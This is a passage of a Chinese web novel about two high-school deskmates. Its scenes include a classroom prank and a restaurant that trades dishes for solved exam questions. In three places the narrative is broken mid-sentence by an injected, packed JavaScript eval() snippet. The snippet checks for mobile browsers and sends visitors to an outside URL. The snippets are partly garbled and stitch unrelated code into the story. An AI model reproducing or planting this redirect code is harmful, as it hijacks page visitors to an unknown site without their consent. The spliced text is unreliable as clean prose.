偏薄,唇色偏淡,轻启轻合间,比起周遭男生相对较淡的音色“迭”出。 落于耳间,还怪好听的。 “易承?” 曹武讲课讲得好好的,突发奇想抓个睡觉的同学回答问题,结果往后排一看,就“抓”到发呆走神儿的易承,连忙呵道: “发什么呆呢,来,回答个问题!” “嘶。”易承偏头,莫名心虚地盖住了卡两课桌间的“心”,站起来,呲着笑脸回道,“老师您问。” 语气放得很乖顺,听起来态度极好。 易承自己听了都要叹声“好学生”,结果,下一秒,跨越整间教室,几乎要达到最远距离了,一短截粉笔朝他眉心直直奔来。 他凝眉,侧身躲过时,条件反射地伸手握住了粉笔段。 “才问了问题……你这一看就没听课!” 这一通“指摘”,引得满教室的人笑得前仰后合。刚还沉寂得跟半夜墓地一样,现在立马活络成音乐震耳欲聋的“老年”广场。 许桑低眸,轻笑了声。 易承“啧”了声,没来由也跟着一笑。 “真是拿你们没办法。”有些笑声太魔性,太有感染力,曹武也没忍住,手挡着下半张脸,隐忍地笑了半天,才直起上半身。 “咳!好了,好了,坐下吧,我来讲。都好好听讲,别一问一个不吱声,尤其是易承!” “好的,老师!”易承诚挚地应了声,才坐回去。 前桌的吕丁,一边憋笑一边笑,脊背上的几根骨头下一秒就要挤出来变身妖精似的,笑了半天,才硬提着口气转过来,两指夹着的笔都抖落在地上,“哈哈,易哥,神他妈的、‘老师您问’,哎哟,笑死我了,哈哈……” 易承伸手将人招呼回去,“滚滚滚。” “哈哈哈哈…”吕丁敲锣打鼓地转过去了。 等人转过去,他将手心里包着的爱心扔桌上,忽然想到了什么,从抽屉里捞出语文书,把最后一页空白撕下来,用脚勾起那支吕丁忘捡的笔,大刀阔斧地写了一排字儿。 十分钟后,又一颗白花花的“心”落在手边。 许桑笔尖轻顿,垂眸,能从折痕和笔画纹路间基本辨清上面的俩字儿——“抱歉”。 两秒后,他移开视线,在大题的空白处落了两个公式和一个带单位的数字。 余光将他的动作尽数收揽,易承往书上划了一道,以为他是没会意,便想着把纸条拿回来展开。 只是,刚伸手,“心”也同时被拿住。 两手贴紧了一秒,下一秒,就出奇一致地弹开。 易承“嘶”了声,“同桌,你带电啊!” 手背还残留了一丝麻意,许桑无语地看了他一眼,实在搞不懂“一个静电有什么好惊讶的”,平静回道:“别碰瓷。” 易承:“……” 7. 第7章 一上午时间过得很快,尤其对于前两节课睡过去的人,放学时特别播放的舒缓铃声——“我和我的祖国”伴奏——响起时,还有些恍若隔世的错愣。 向来抢饭积极、恨不能就举家搬迁到食堂的吕丁,今中午格外镇静,最后一节课,都倒计时一分钟了,还没反手收拾书包。 “都别走!” 下课铃一响,他激动地一蹦,用两只手拍住了四个人,气势如雷,眼睛一边来了一个wink,挑眉,“今中午我请客!” 绕过后排出教室的同学频频侧目,还有看着热闹没看路额头磕到门上的。 “还wink,哎妈,别恶心我,等会吐了……” 陈慢实在受不住他的眼神暴击,为平衡心理,忙用无聊时削得尖到能戳爆气球的铅笔,戳了下他指头。 正憋着情绪呢,这一戳,痛得他颤抖着找老妈。 吕丁从座位上弹起来,“我操,陈慢,老子跟你没完!” 还没骂尽兴,手机突然震了一下,他连忙从裤兜里掏出来,翻开上面的短信,看了几眼瞬间又笑成弥勒佛,把屏幕来回展示。 许桑和易承抬头看了眼消息,都或多或少地沉默了下。 “短信”上写着: “超级超级豪华自助餐,学生价:免费!要吃你就来,不吃你看个毛线!” 赵鸿途整个人都快扒手机上了,看完,推了推眼镜,说道:“这比那些199买苹果14promax还假啊……” “呃,我还不如去垃圾桶翻吃的。”陈慢说道。 “……”吕丁被连着噎了几句,所幸没听到后桌两人说话,便又满怀期待地转过去,“你们觉得呢?” 许桑看着“学生价”三个字,直觉不对:这精准推送的……过于精准了吧。 平淡回答:“我觉得挺假。” 易承把早上捡来的黑笔掷回吕丁桌上,说话随性,“小丁,你搁哪儿脑子被驴踢的啊?” “我,”吕丁捂着胸口,故作受伤地往后一倒,不料动作太大没控制住,后脑勺“砰”地一声,响亮地磕到地上,砸得在场几人都不免跟着头皮发麻。 “我靠!” 陈慢连忙拉了他一把,站他背后抬起大腿给人做个支撑,“牛逼啊,你没事吧?” “没……没事儿。”吕丁晃了下脑袋,眼角泪水都吓出来了,伸手抹去后,才后知后觉地叹道: “别说,我刚好像感受到脑子里有水,还晃来晃去的。” “……” 许是针眼儿大的良心过不去,碍于伤员,四人还是跟着吕丁出校门,去了这家“超级超级豪华自助餐”。 “店名儿叫什么?”陈慢耐心询问道。 “自助餐。”吕丁回答。 “什么?”陈慢不太耐心地问道。 “聋子吗?自助餐。”吕丁毛躁地回答。 “我他妈知道是自助餐,我问叫什么自助餐。”陈慢伸手在胸口上顺气儿。 “就……”吕丁疑惑地歪了下脑袋,低头翻信息和周末看到的那张广告,看了大概有两三分钟,才回答:“不是吧!” “不是吧自助餐?”陈慢眉毛皱得打绞,“什么狗屁名儿。” “不是不是,你个蠢货。”吕丁嘴角抽了抽,“我是说,上面好像还备注了一句。” “什么?” 吕丁没敢念,被冷风刮了一样瑟缩着脖子,放大字后递给一旁的赵鸿途。 赵鸿途特地调了个标准普通话,开始还自信非常,后面读起来声音却越来越小。 “注意:此处的学生,特指幼儿园学生。括号,不包括学前班,括转来。除此之外的学生,别来沾边……” 无语的时候,人确实是会笑的。 而且是笑到停不下来那种。 吕丁抱着他那个有水的脑袋,笑得手机都抓不住,往下滑溜着跪到地上,一边捶地一边笑; 陈慢和赵鸿途对视两眼,歪着嘴,身体抖着,笑得一抽一抽的。 “……”易承许桑站旁边,平静得像是两个世界的人。 途经的老大爷老大妈忍不住地看过来,有跟着一起笑的,也有觉得莫名其妙、走远了才疾病发作似的狂笑的…… 中午的天,没有准确修饰词的蓝色,飘着几坨形状难看的白云。 五人实在没辙,最后一齐落座了家小炒馆。 正经的,有名儿的那种小炒馆,叫什么“牛逼炒馆”。 这家店,坐的人不多,即使落座,也是一个两个比较“孤零零”这种。 老式挂式风扇一边扇着蚊子一边扇出微弱到貌似并不存在的风,还飘灰,摇摇晃晃的,生怕一不留神儿就掉下来砸得稀巴烂了。 “几位?”老板挂着半身粉色围裙,一手拿着锅铲,一手拎着两份菜单,问道。 “五位。” “都是学生啊?” “是啊,都是。”陈慢挑了个位坐下,顺手接过菜单,还没看完就脸色一沉,把菜单旋到了桌子中央。 许桑看了眼还算光洁的板凳,没挑,挨着易承就坐下,也随了一眼去看菜单。 入乡随俗他懂; 就是实践起来有点儿神经。 大概是感受到这桌的气氛稍显“胶着”,老板笑嘻嘻地把另一张菜单背到身后,解释道: “是这样的,为了营造良好的学习氛围,也为了我们南城能最终走出省状元,我们‘牛逼炒馆’理应尽一份绵薄之力。所以,特推出学生菜单。” “什么算力水平吃什么餐!当然,你要是只有算出第一道的水平,可能除了两碗米饭就没别的点菜待遇了……反正,算呗!叔绝对支持你们,好好学习,天天向上,给我们南城人民争光!” 有意思,他妈一张菜单看下来,唯一有的图,是几幅压轴“圆锥曲线”。 “真是煞费苦心啊。”陈慢没带笔没带草纸,干瞪着题,连顶上那道“虚数”题都无可奈何。 “不辛苦,不辛苦。”老板还想唠两句,突然嗅到一丝锅巴的糊味,如梦初醒地低头看了眼锅铲,着急忙慌地原地绕了两圈,不舍地道:“你们先努力,我锅要干了,先去看一眼!” 等“心思不纯”的老板回了内厨房,圆桌上的人,都低头看着题。 不是高考原卷,不知道哪个省市里的模拟题,角落里还有没去掉的水印——“密,盗卷必究。” “鸿途,你来做,我们能不能吃顿好的,就看你的了!” 吕丁饿得开始啃桌角,啃半天发现上面滑不溜秋的,油没擦干净,又一激灵坐直了,用多年游戏里拼出的手速,接二连三地抽出一把廉价的卫生纸一顿猛擦。 有些试题,只看一两道就能大致分辨出水平。 开始看了一会儿,赵鸿途有点虚,但碍于情面,尤其是在四双八只眼睛的连环注视下,他激动紧张又想一展“雄风”,想着咬咬牙,他掏出笔,道:“行!” 正常卷子一共23道题,但这家可能没那么多菜品,所以删了几道。 不知道是不是故意的,刚好删了三个题型的前几道送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他声音压得有些低,清晰落在耳底时,带起点点酥麻意……许桑往后退了些,都没给他个眼神儿,冷淡道:“嗯。” “行。”刚留意到赵鸿途的进度在第三题,还卡了半天,不知道这顿中饭要等到猴年马月,易承确实饿了,低眸看了眼许桑刚规规矩矩标好的题号兼答案,说:“加个微信吧?” “……”许桑算题的思路都被莫名其妙打断了,往椅背上轻轻一靠,看白痴一样看着他,“有事?” 易承真诚地点头:“还真有。” 被这话噎了一道,许桑微顿,退出界面时按了个保存,才划着翻到微信二维码,转向他。 这么爽利……易承单手转着手机,扫了一秒,加上。 过了半分钟,手机轻震,许桑指尖往上一点,打开消息。 【易承:答案发我。】 【易承:等他仨,今中午恐怕没的吃了。】 “……”许桑默了两声,凭着记忆把做完的六道题答案打字输出,发了过去。 发完,他轻皱眉: 怎么就发了。 看着一骨碌跳进聊天框里跳进的答案大军,易承轻勾唇,起身,用脚勾开凳子,径直走进内厨房。 说不上来什么滋味,许桑又扫了眼桌面上的“菜单”,锁定下一道题。 才算到一半,手机响起消息提示音。 少见的中途抛开题,他点开消息。 【易承:进来。】 8. 第8章 许桑坚持把这道函数题算完,松络指节时,往桌上看了一眼。 题依旧是题,答案的领地依旧少的可怜。 至于人。 吕丁两手托腮,隔两秒钟要给空气磕一次头; 陈慢算得头都歪了,嘴皮飞速打着拌儿,应该是有边写边念的算题习惯; 赵鸿途奋笔疾书的动作从头到尾没变过,就是脸色从胀红过渡到了紫红。 “……”好像突然就理解了易承,他起身,往里走去。 “牛逼炒馆”确实牛逼,外头木桌木椅看起来破烂货一堆,内厨房里,却干净得一塌糊涂。 标准得能比肩高级餐厅内置厨房。 唯一奇怪的点是,看了半天没见厨具,连进店见到的围裙锅铲老板也没个影儿。 许桑脚步微顿,正欲转身出去,一旁与墙色出奇一致的床帘忽然被掀开,紧接着,笑容灿烂得发光的易承弯身出来,两步跨到他面前,笑道:“幸好来接你了。” “……”许桑不太想理会他这话底的言外之意,淡漠地扫了他一眼,不进,反向后退了步。 见他的动作,易承挑眉,“怎么,我要吃了你吗?” 没等许桑回答,他又补充说,“倒也没饿到那地步。” “……” 没有过多僵持,许桑被轻拽着手腕拉到了厨房外。 到地儿时,他垂眼,沉沉地看了会儿那只虚搭在他腕上的手,没太用力,但手背依稀鼓着青筋。 侧着下握的手指,骨感而修长,若是打了些光,应该是有几分观赏价值的。 “快来快来,刚好炒完第七道菜。”老板就着围裙擦去手上沾的油渍,把一盘糖醋排骨放到了桌子边缘,“我还没见几个学生,能这么快算完还算对七道题呢。” 七道? 许桑没记得自己多给了一道题的答案,简短存疑后,就近坐下。 半开放的空间,用一般房子的组件儿来说,这里算是半个后花园。 对面是墙,上面爬满了藤,绿的,有些枯了,细细瘦瘦的,还随便耷拉着“脑袋”,看起来狼狈不堪。 易承用纸擦了遍筷子,才递给许桑,“吃吧。” “谢谢。”许桑接过,应该是饿了,没客气地戳了块排骨。 易承挑齐筷子端,夹了一块大瘦肉,往嘴里塞。 老板嘿嘿笑着,也不知道笑什么,可能是看人吃得太香、能反向折射出自己厨艺精湛;抑或是看俩长得帅的吃自己做的菜、有种自己和菜品都跟着“好看”起来了的感觉……总之,他挺愉快,上赶着求夸:“怎么样,好吃吧?” 他话落时,易承和许桑对视了一眼,似是从对方的眼里看到了“英雄所见略同”,都沉默了。 老板的乐乎劲儿,高昂的都不需要回应,兀自说道: “你们做的那些个题,都是我儿子专门挑的,每隔一周就换一次。我儿子说啊,找这些题,主打一个难得人刨白米饭都香。他还说,这样做招牌打得响!你们觉得呢?” 算半天算出碗饭……饿极了屎都香,何况还是白米饭呢。 把筷子头转向其他菜,基本尝完后,易承笑着回答:“我觉得,那仨饿着了。” 许桑默默放下筷子,端起桌上的可乐,倒了半杯,抿了一口,和道:“嗯,跟一个。” “啊?”老板懵圈了两秒,“哦,哦,行,那我去叫人,你们继续吃。” “好吃就要多吃点,现在你们正是长身体的年纪,错过了,就长不高了。不然像我这种差个儿的,虚报一米七五都觉得难以启齿啊……” “而且,现在的小姑娘啊,长得是越来越漂亮,要求也是越来越高了。像我儿子,都二十三了,女孩子的手都没牵到过。” “害,也理解。他没个一米八,长得也黢黑,脸还像个芋头,每次过年回家,我都被丑得发慌,又怎么可能有姑娘喜欢嘛……所以啊,一日三餐,不管是在外面还是在家里,都要吃,吃了长高;还有,多吃蔬菜多吃水果,长得好看一些,多好啊,是不是?” 许桑默着喝完剩下的几口可乐,又接着倒了半杯。 “嗯。”易承勉强应了一声,继续试菜。 “哟,瞧我这张嘴,说着说着就说着去了。”老板把手套脱下来,笑得更开怀了,“行,我去叫人,免得那几个孩子少吃一顿就矮不溜秋了。” 等激越的发言结束,许桑落杯,“可乐还行。” 易承没忍住低头笑了声,筷子间夹紧的花生米都被抖了下来,笑骂:“神经啊。” “……”许桑往椅背上轻靠去,“你们这儿,都自给自足的吗?” 没有需求,基本等于没有质量。 “那倒也没有。”易承说,“只是运气不太好,下回带你吃家好的。” “好。”许桑应道。 “尝尝这个。”易承挪了一盘菜,是简单到不能再简单的番茄炒蛋,“还行。” 那仨进来时,浑身上下没一处精神的。 除了看见满满当当一桌菜时,吕丁当场就跪下了,激动得失去知觉了般,用两个膝盖头蹭滑到桌边。 要不是高中生讲文明,他恨不能当场抓一把在手里。 “我靠啊,饿死我了……这饭是真他妈好吃啊!”吕丁连着刨了几口米饭,“香甜软糯,比我妈做的好吃……嗯,排骨也香,妈呀,撑死我都乐意!” 陈慢跟赵鸿途对了两下眼神,跟得令的士兵一样,“嗖”地一下落座,开始动筷。 “吃得真爽啊。”肚子塞满一半多,吕丁才放慢进食速度,望着已经落筷、坐得随意的两人,问道:“你们不吃啊?” “吃过了。”易承伸手,舒展开后搭在许桑的椅背上。 “这么快?”陈慢跟着抬起头,口腹之欲得到满足些后,脑子才回温,智商也跟着慢慢回笼,他翘起食指,数了数桌上的菜,“怪了,我们不是才做了四道题吗?易哥,你是不是作弊了?!” “什么屁话!”易承自然而然地搭上许桑的肩,上半身坐直,笑着,“我同桌,又快又准,棒吧?” “我靠,太牛逼了!”陈慢腾出双手,连竖起两个大拇指。 赵鸿途跟着点头,“这个确实牛逼,这题比学校出的难多了。果然,做题也要见见世面,不然真就井底之蛙、见雀皆大了。” 把脸从“饭盆”上抽出来,吕丁跟着夸,“跟着大佬混,有饭吃!我这回是真他妈信了!牛逼!” 许桑淡淡勾了唇,指尖拨开他的手,回道:“正常。” “什么正常?” “题。”许桑补充,“新老高考,学的大相径庭。这张是新高考模拟卷,大模块有交叉,细分的就难说了。” “这个确实。”赵鸿途从炒面里抬头,推推眼镜腿,“暑假里我闲的时候,专门去刷过新高考的题,难,真的难。那你之前是学过吗,怎么这么厉害?” “在学。”许桑又喝了口可乐,润喉,“想学的话,我这边资料比较多,可以发你。” “我日,真的吗?”赵鸿途猛地一抖,“好好好,我加你,我加你!” “我也要加!”陈慢跟着凑热闹,举起手来。 没想到这边人这么热情……许桑“嗯”了声,划到二维码界面,递出。 “还有我!”吕丁叼了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069703|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大块土豆,鼓囊着两个脸蛋瓣儿,小心翼翼地探出手机、扫了个码。 易承在旁边“啧”了一声,也懒洋洋探出上半身,抬手上前扫了一下。 手机都屏幕朝上立在桌面上,“滴”声接二连三,蓝色“按键”处一致的是“添加到通讯录”,唯有易承的,自然而言的是“-发消息”。 干啥啥不行、一双眼睛贼利索的吕丁尖得很,“诶?易哥,你下手这么快!” “什么用词。”易承勾唇,手腕轻转,把手机塞回兜里,看向许桑:“这叫慧眼识珠。” 俩人本就坐得近,方才又双双倾身,许桑偏头看他时,几乎是鼻尖擦过鼻尖。他微滞,想骂出的话都来了个“皇帝的新衣”的出场方式。 许桑错开些,“……” “咦,易哥,你这就像,情人眼里出…哦,不对不对,许桑本来就牛逼。”吕丁抠了会儿脑袋,道:“对!易哥这是硬蹭!” 易承指尖轻扣桌面,“吕丁,半年没见就叛变了是不是?” “没没没。”吕丁连忙双手合十,“易哥,你永远是我吕丁的哥!地位难以撼动!” “虔诚”得过分,搞得这桌都吃出黑.帮的气质了。 易承单手举杯,“趁火打劫”,就着瓶子,可乐代酒,很无厘头地举杯,“喝一杯?” “喝!” 洋洋洒洒地斟满四杯可乐,吕丁先一步起头,磕到易承杯上,而后依次继续,到许桑时,易承主动碰了上去,视线擦过他,落在余下三人身上,说道:“没什么说的,喝就行。” “易哥!” 杯子碰在一起时,气泡嗞出“炸裂性”的光感。 “真的好久没见了。”吕丁抹了抹被可乐泡溅出的泪水,伤感油然而生,情难自已地上前抱住了易承。 “滚啊。”易承笑着拍了拍他的肩,没贴两秒,就推开人,“一身油。” “……”吕丁僵得眼泪都自己缩回去了,“你就多余长这张嘴。” 许桑把杯底高两三厘米的可乐喝完,看着被拥在中央的人,微挑眉。 更像黑.帮的了。 不到半个小时时间,桌面上一片狼藉,满当当的菜基本就剩两滴油了。 要不是形象问题,吕丁还能当场舔个盘收尾…… 老板拿着菜单来结账时,看到桌上的空当当,差点儿震惊到下巴脱臼。 心道:好儿子,是靠谱啊! 颤巍巍地把人打量完,将账单递给了看起来就特别靠谱的许桑。 “你先看看小票,我去唠会儿嗑。” 说完,老板就抄起旁边的板凳,欢天喜地地搬到了三人中间,问:“怎么样,今天的菜,炒的好吃吧?有什么建议不?” 三人玩排列组合似的交换完眼神,齐刷刷地举起手,竖起大拇指。 下一秒,话滔滔不绝地下来,“不是我说,这辈子没吃过这么好吃的!” …… 许桑低头,指尖轻碾账单的一角。 题号对应的菜品,在账单上分明了。 他记忆不算差,把自己做的题号剔除后,精准找到那道多出来的题号——13。 是他刚草草算完的函数题。 实话说,并不简单的一道。 “有什么不对吗?”耳边太过聒噪,易承往许桑这边凑了些,见他半天没个响儿,才问道。 许桑眸光微闪,“没有。” “那我去结。”易承扫了眼金额,就起身,绕开笑成花儿的老板,去了老板娘那结账。 望着他的背影,许桑轻点账面上的“13”。 啧,怪神奇一人。 9. 第9章 下午平平淡淡,时间先在睡意弥漫中踮起脚尖悄然溜走,然后又在班主任的鸡汤里飞速被蒸发掉。 晚自习的铃声打响的那刻,教室里的人就空了一大半。 梁意杉发来的题,确实高质量。 全套做下来,人像是被打了鸡血。 而至于南城附中的“模拟试题”,怎么说,半套做下来,人像是被泼了鸡血。 许桑整理完错题,活动指节时,抬头,教室里空空如也。 哦,身边还有个。 枕着胳膊,深埋其间,睡得很沉。 他没急着收拾东西回家,靠着椅背闭眼,将今天做了个简单复盘。 除了中午略显傻逼,其余时段还算正常。 白天讲的东西并不难,都是些只靠预习就能明白百分之八九十的知识点。 至于老师,教语文的白晓莉脾性高于能力,有种在菜市场而非学校的感觉; 老徐的数学课质量还行,就是喜欢偏题,还有,人老爱啰嗦; 物理老师曹武的讲课方式很跟时代,美中不足的是腕力不够、总会被学生带着走。 至于其他科,明天拭目以待。 晚十点的校园,过分静冷,也难怪全国各地都能传出雷同的“校园鬼故事”。 后排没关门,也关不上——老练的老徐,老早前就老成地抽了已老的锁芯。 据传闻,冬天冷得要死时,他才会化身老师傅去修。 许桑收捡好东西,目光落在桌面右上角时,微顿,思索两息后,他把那颗混着黑笔字迹的“心”揣进裤兜里,而后若无其事地单肩挎上书包,起身绕到易承身后,伸手拍掉了教室的灯。 空间里暗下来,惟有楼道处还有忽闪忽闪的声控灯,在不知名野猫的嘶鸣里亮堂了几秒,浑浊偏黄的光线碎烂打入,恰巧斜斜落在桌上,勾出睡着的人、有阴影的轮廓。 许桑倚着墙垂眼,不知怎的,看着他睡得凌乱的发,一时没想转身,仅用视线给人描边。 半分钟后,他有些烦躁地转身。 前脚踏出门去,后脚就缩回来。 下一秒,他两指勾住拉链,向下拉到底。 而后,倾身,轻轻将外套搭在了人身上。 - “孩子,我今天买了些皇帝柑,一点儿也不酸,甜甜的,很好吃。你尝尝不?”刘芳端着一盆切好的柑子块儿,敲响了许桑房门。 许桑落笔,起身开门:“谢谢刘姨。” 刘芳把果盘底擦干,才放在书桌上,看了眼许桑单薄的短袖,不禁皱眉道:“孩子,最近降温降得厉害,一不小心就要感冒。你要多穿点儿,千万别嫌穿着麻烦,感冒了人难受得很。” “嗯。”许桑点头,“知道了。” “诶,好。”刘芳站在旁边,往四处瞅了瞅,低头看到他桌面上还大片空白的试卷,又念叨: “现在作业是越来越多了。我女儿每次回来也是,熬更受夜到很晚才做得完,黑眼圈都要掉到下巴了,可学习还是不见得好,让我这个当妈的,看着都愁,但又没办法。” 许桑从衣柜里翻出件黑色外套,穿上,随便问了句,“高中吗?” “嗯,跟你一样,上高三了,孩子急,我也跟着急。”刘芳叹了两声气,眼里尽是郁闷,“我也没上过高中,那个数学啊,题都看不懂,更别提辅导了,我……唉,什么也做不了,只能天天干着急。” 许桑静静地咬了小块柑子。 虽然不知道为什么叫皇帝柑,但入口甜滋滋的,颗粒饱满,咬下去还能感受到脆劲儿。 至少在柑中称皇称帝,他意见不大。 刘芳说着说着,自知话多,还讲给孩子听,脸上多少觉得无光,便随便找了个借口走出去了。 门被轻轻带上,没来得及掩闭那一口重重叹出的气。 两个皇帝柑儿,规规整整切成八块。 许桑吃得很慢,咽下第四块时,他擦干净手,转身去了浴室,洗澡。 这里的人,好像话都挺多的。 上个课,老师话比字多;吃个饭,店家话比米多…… 可貌似,除了说,他们也只能说了。 往头上搭了条干毛巾,许桑出浴室时,客厅里已经落灯、黑漆漆一片。 刘姨回去了,进门的地方,新换了个毛绒绒、看着暖乎乎的垫子。 把换下来的衣服扔进洗衣机前,许桑把兜里的纸摸出来,随手放在一旁后,倚着阳台,看向窗外。 先前城市里的夜晚,尽管有时灯火会稀稀落落,但始终是亮堂的。 无人举灯,自有街灯。 可南城这带不同,过了晚点,各家的窗帘会落下,只露出防不胜防、过分爱social的细碎灯光。路口的灯,少的可怜,还不论那些破烂得没人修理的存在。 家家之灯,只亮己家。 回到床上时,许桑伸完懒腰,正欲一头埋进枕头时,床头的手机长长得震了一阵。 特别而熟悉的消息提示音响起,他眸光微亮。 伸手捞过手机,他轻轻勾唇,点开一个叫“Serendipity”的应用。 界面里,跳出一封信——寄信人:“借点儿光”。 啧。 他拢上被子,坐直了些。 都有些记不清是什么契机让他下载的这个软件,只记得,初初打开界面,他收到了一封来自陌生人的信。 的确陌生,尤其是这名儿——“借点儿光”。 他一开始读太快,可能脑子也比较抽,直接反应成了“借一耳光”; 脑子稍微好使些时,他隔空嫌弃了那人一把,想必戒烟吧,不借火借点儿光。 许桑划着页,将这封21小时前寄出的信浏览完。 那人说,他的生活,由不确定的奔赴,转向了确定的弥补。 - 易承醒来时,周遭伸手不见五指。 幽幽泛着色的月光,被身侧紧挨着的墙壁挡住,只从窗户缝儿里露出一星半点儿,照在教室对侧的课桌上,堆成碉堡的书本在桌椅间,活像半夜精神了的小鬼。 “我操!” 就眼花两秒,给他吓了个结实。 脊背乍然挺直时,背上搭着的衣服滑落。 几乎出于本能的,易承反手捞住衣服,没长眼一样在墙上摸索半天,才摸到灯的开关。 “啪”地两声,鬼鬼们落回该有的样子——一摞摞乱书。 他这才心下一松,跳突得要升天的心脏慢慢跳回正常频率。 教室亮堂些了,易承靠实椅背,把滑不溜秋的衣服抓到面前,看了两眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069704|163142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看了几年也没看出朵花、除了“红白配”没有屁的美学概念、质量贼差一拉就滚线散架的“南城附中”秋季校服外套。 嗯? 他不记得什么时候睡着的,但清楚记得自己没矫情地披什么外套。 拿着凑近些,扑面而来一股新衣料的味儿,直顶天灵盖的冲; 易承麻了两秒,刚想把衣服甩开,鼻尖里浸进一丝淡香,像湿露包裹的早晨,推开门、头顶鱼肚白,脚下青草苔,绿意交织在清润里。 有点儿熟悉…… 推开椅子站起身,易承把外套勾在臂弯间,无意扫了眼身旁干干净净、丝毫不乱的桌面,心下稍有波澜。 摁灭灯,他搡开门,往地上狠一跺脚,在楼道灯的照明下,一路往外走。 “嘿,哪个贼!”吊梢着眉眼的徐贵“噌”地从板凳上跳起来,抄起一旁的晾衣杆,甩出“打狗棍”的气势,推开保安室的门,呵到: “破学校一个,一天天的,他妈没钱也偷,都傻子吗!” “……”易承叹气。 心道:得亏校领导天天健康作息、晚到早退的,不然轻轻松松找到学校“黑料”源头。 说不定,当下就手脚并用,拆了保安室当垃圾场。 徐贵还没到骨质疏松的年纪,扛着“棍子”加速飞来,“一棍子”劈头就下! “徐叔。”易承被迫灵活一转,脚尖抵住晾衣架底端,借力往外一悬,而后慢吞吞晃悠到人面前,顺手两指夹开晾衣杆,“多补点维A吧,您。” “说什么A?”没反应过来后半句,徐贵低头看着莫名其妙就转手的晾衣架,当场转移注意力,来了气,“小兔崽子!半晚上不回去睡觉,在学校鬼混什么?吓我一激灵。” “这不爱学习嘛。”易承熟练地走进保安室,里面空间不算小,常年经过徐贵折腾,已经成了冬暖夏凉的宜居房,“叔,有吃的吗?” “有,柜子里全是学生进贡的。”徐贵拉上门,把里面的灯打开,顺带搬出箱把箱零食,“又没吃饭啊?” 易承摸了个巧克力味的面包,咬了一口,松松软软的,口感甚佳,“夜宵。” “哟,还夜宵呢。” 等他一个面包吃得差不多了,徐贵问道:“突然来这儿,今晚又想蹭我的房啊?” “您想多了。”易承咬完最后一口,寻着远处的垃圾桶,肉眼估量下距离,就抛出去,“还有,这几平的地啊,能叫房?” 看着轻飘飘的包装纸,腾空一跃,又被夜里的妖风吹回保安室,徐贵感觉太阳穴抽抽的跳,“对不准还扔,老子真的是!” 易承起身勾起垃圾,推门出去时,挑眉,“捡了捡了……您早些休息。” “滚滚滚!”徐贵连忙起身,就势把他往外推,“再拌嘴,小心一路上全是鬼,吓死你!” “啧。”易承无语了一瞬,“我好怕啊。” 徐贵“bang”地一声把门关严实了:“……” 回家路程并不远,但无奈何走进小道就一阵昏黑。 嗖嗖的凉风,白天i“人”,晚上就e得不行,在自以为无人的巷子里扯着嗓子“鬼哭狼嚎”,跟鬼片儿里的背景音似的。 易承皱眉,把环着的外套抖开,套到身上,倚着墙,举步维艰。 操,还真有点儿怕了。 10. 第10章 磨磨唧唧回到家,易承轻手轻脚地开门,进客厅时扫了眼钟表——“00:21”。 时间比想象中的早,他还以为自己这一觉能直接睡到三四点。 换上鞋,易承径直往小卧房里走。 秋秋怕黑,床对面的小书桌上,半年前,他扔了只自制的发光熊,丑萌丑萌的,肚皮里散出节庆日店铺里惯用的金黄色光,又因外面蒙了个“肚兜”,使得在夜里,光线柔和了不少。 至少,不至于半夜尿急爬起来,把眼睛给亮瞎。 站在床边,易承将她踢飞到地上的被子捞起来,轻柔地将人盖了个严实。 不知道是手上哪块的劲儿没收住,给人连身带头捂了个遍,注意到这一点,他连忙提起被角,往下拉了些。 再多余地把露出来的手塞进被子里。 几乎按部就班做完这一系列动作,易承轻皱眉: 不热吗? 秋秋的书桌上,堆得向来不是书。 易承把都快被压成标本的饼干外包装袋扔进垃圾桶,借着“灯熊”,看清桌上的物件儿: 四五片巴掌大的树叶儿,老得周身枯黄,还“缺胳膊少腿儿”,残得都能制作“拼图游戏”了; 四颗放久了表皮黏巴巴的大白兔奶糖; 还有张似被洒了铅笔灰的书信纸,以及一把几十张一起嵌套的美工纸。 没看懂这一系列八竿子打不着、却紧凑挨着的东西,他翻了两下她的书包,确认好书啊作业啊的都在里面,才把拉链拉上,习惯性地放在床头柜上。 转身前,他想起什么,摸了两张美工纸,粉色的,手指灵活翻转,没两分钟,两颗爱心落在手心。 他“啧”了声,想起白天那颗顺手就折出还飞了的“心”,叹道: 都怪秋秋,手指僵硬得跟钢筋一样,学校里学不会就回家哭,天天哭完扒拉他教……给他都学出肌肉记忆加条件反射了。 顺手把“心”塞到“灯熊”摊开的手上,他走出房间,打了个哈欠。 还没睡够。 随便拈了件睡衣,他一头栽进浴室,淋了个七七八八,单手擦干头发时,另一只手洗漱着。 忙完这一切,差不多一点,易承立在床前,勾了只黑笔,凭着记忆,简单记了个账,才放松下来,倚着书桌桌沿,看了会手机。 点开微信,他先把明天的订单需求分类整合好,才去点灭其他小红点。 吕丁几小时前给他发了四五条语音,最后几条消息是文字。 【不识好人丁:易哥,您在闭关修仙吗?】 【不识好人丁:算了,语音甭听了,咱好心,做个陈词总结。】 